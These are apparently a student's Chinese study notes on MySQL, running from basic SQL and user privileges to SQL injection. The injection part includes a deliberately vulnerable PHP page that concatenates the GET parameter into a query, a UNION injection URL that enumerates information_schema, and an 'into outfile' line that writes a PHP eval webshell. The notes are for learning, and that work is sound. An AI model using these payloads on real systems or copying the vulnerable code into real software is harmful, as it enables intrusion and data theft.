数据库MySQL安全
360数据库DBMS就是数据库的专属管家软件MySQL、Oracle、Microsoft SQL Server 都是系型数据库系统(DBMS)通过SQL结构化查询语言来存取、管理关系型数据库的数据。使用navicat软件图形化数据库Navicat 提供图形化界面可直观管理数据库简化建表、查询、备份等操作降低命令行使用难度提高效率。增删改查MySQL在命令提示窗口cmd进入登录数据库 MySQL -u root -p 输入root密码 创建数据库 CREATE DATABASE school CHARACTER SET utf8 COLLATE utf8_general_ci; --库名 --格式 --排序数据库操作SQL 关键字新增数据INSERT删除数据DELETE修改数据UPDATE查询数据SELECT-- 示例往学生表插入一条数据 INSERT INTO 学生表 (学号, 姓名, 年龄) VALUES (2026001, 张三, 18);--一一对应 -- 示例查询所有学生 SELECT * FROM 学生表; -- 示例按条件查询特定学生 SELECT * FROM 学生表 WHERE 学号 2026001; -- 示例修改学生的年龄 UPDATE 学生表 SET 年龄 19 WHERE 学号 2026001; -- 一定要加 WHERE否则会修改全表 -- 示例删除指定学生drop是删数据库或数据表的 DELETE FROM 学生表 WHERE 学号 2026001; -- 同样要加 WHERE否则会清空全表库名、表名、列名一般加反引号,不是关键字时反引号可以省略order by 排序order by 几列:排序desc asc查询列数大于实际列数会报错以此得知数据库有多少字段union联表查询select * from 表名unionselect 123456是可以执行的只要每个字段类型不冲突问题一为什么select后面‘1’‘2’字段在tables表里没有还能查到?因为SELECT后面可以写三类东西表的字段比如 table_name固定值/占位符数字、字符串比如 1、2、abc函数比如 now ()原因union前后查询的列数必须一模一样否则报错union联表查询两个表要字段一致所有整数互通所有字符串互通整数 ↔ 字符串 互通所有日期时间互通日期 和 数字 / 普通文本 不能互通实战用内置函数database拿库名4步用拿表名用order by拿到字段数用union联select 1,(database()),...字段数limit限制select * from user limit 3;限制拿3条select * from user limit 0,3;从第0条开始拿3条每个MySQL库都有三个表mysql核心数据库用户名、密码、权限information_schema其中比较关键的三个表名information_schema.schemata:字段schema_name存所有的数据库名字information_schema.tables:字段table_name存数据库所有的表名information_schema.columns:字段column_name存数据库所有的字段实际这三个表每个表都有schema_nametable_namecolumn_name但是在不同表由名字可知属于本表名的字段有点类似于主键比如tables表中的table_name比columns表中的table_name全performance_schema连接数、线程状态、执行耗时-- 总结 php与mysql交互 1、建立连接 2、操作数据 3、关闭连接 -- OR 特征 11恒为真 order by 排序 数据 limit 限制条数 limit 1,3 -- UNION 字段 select 字段数要相同 内置函数 database() version() group_concat()将多条记录合并成一条一般会禁 -- information_schema 默认数据库里面存放的是什么内容 SELECT 1,group_conca(table_name),2 FROM information_schema.TABLES WHERE table_schemaDATABASE()创建用户--创建用户 create user hahalocalhost IDENTIFED BY 123456; --查询 select User from MySQL.user; --增加权限 GRANT select,insert,update on 库名.* to hahalocalhost; --刷新 FLUSH PRIVILEGES; --删除权限 REVOKE UPDATE on school.* from hahalocalhost --查询权限 show GRANTS for hahalocalhost; --抵御弱口令爆破更改密码的两种方式 set password for rootlocalhost password(root123456); update mysql.user set passwordpassword(root123456) where user root and hostlocalhost;文件权限数据库不止能存数据还能操作文件读取excel表格 csv文本数据文件到数据库将数据库的内容写入文件使用者:show GRANTS;使用范围:MySQL配置文件my.ini有什么端口号默认 3306数据存放路径字符集、最大连接数日志、权限相关配置账号密码相关设置在MySQL配置文件my.ini中有一条secure_file_priv用来限制 MySQL 读写本地文件的权限secure_file_privNULL禁止所有文件导入导出最安全。secure_file_priv空不限制任意目录都能读写不安全注入常用。secure_file_priv 指定路径只能在该目录下导入导出。如果没有secure_file_priv那就是默认禁止load_file()、into outfile防止 SQL 注入读文件边界把关有权限 secure_file_priv 允许目录查看目标文件权限自己Windows/Linux登录的用户能不能修改文件Linuxps -ef | grep mysqlwindow右键文件 →属性 → 安全查看你当前用户的权限有写入 / 修改→ 能改只有读取 执行 → 不能改查看MySQL参数show variables like secure_file_priv;SQL注入原理代码--将···写入路径下的文件 select ?php eval($_POST[gaga]); ? into outflie d/···有漏洞的服务器php代码?php // 数据库配置 $host localhost; $user root; $pwd 你的数据库密码; $db demo; // 连接MySQL $conn mysqli_connect($host, $user, $pwd, $db); if (!$conn) { die(数据库连接失败 . mysqli_connect_error()); } // 直接获取id**无过滤** $id $_GET[id]; // 直接拼接SQL → 注入点 $sql SELECT id,username,password FROM user WHERE id$id; $result mysqli_query($conn, $sql); // 简单输出 if (mysqli_num_rows($result) 0) { $row mysqli_fetch_assoc($result); echo ID: {$row[id]}br; echo 用户名: {$row[username]}br; echo 密码: {$row[password]}br; } else { // 对应你看到的报错URL拼写可能存在错误请检查 echo 系统报错信息\URL拼写可能存在错误请检查\; } mysqli_close($conn); ?URLhttp://127.0.0.1/demo/union.php?id-1 union select 1,database(),3 from information_schema.columns where table_schemadatabase() and table_nameuser输入之后数据库拼接的效果SELECT id,username,password FROM user WHERE id-1 union select 1,database(),3 from information_schema.columns where table_schemadatabase() and table_nameuser问题所以union联表查询只要前后select后面字段一致不管是接from还是into outfile都行吗还是说有其他要求1.UNION 只要求一件事前后列数必须一样2.UNION 后面可以不用 fromfrom 表✅ 可以into outfile✅ 可以什么都不接纯查常量✅ 也可以数据库漏洞反制手段日志general LOG需要占用大量内存非 常驻日志-- 开启日志 set GLOBAL general_logon; -- 查看日志所在位置 SHOW VARIABLES LIKE general_log_file;备份3份备份2种本地 异地1份离线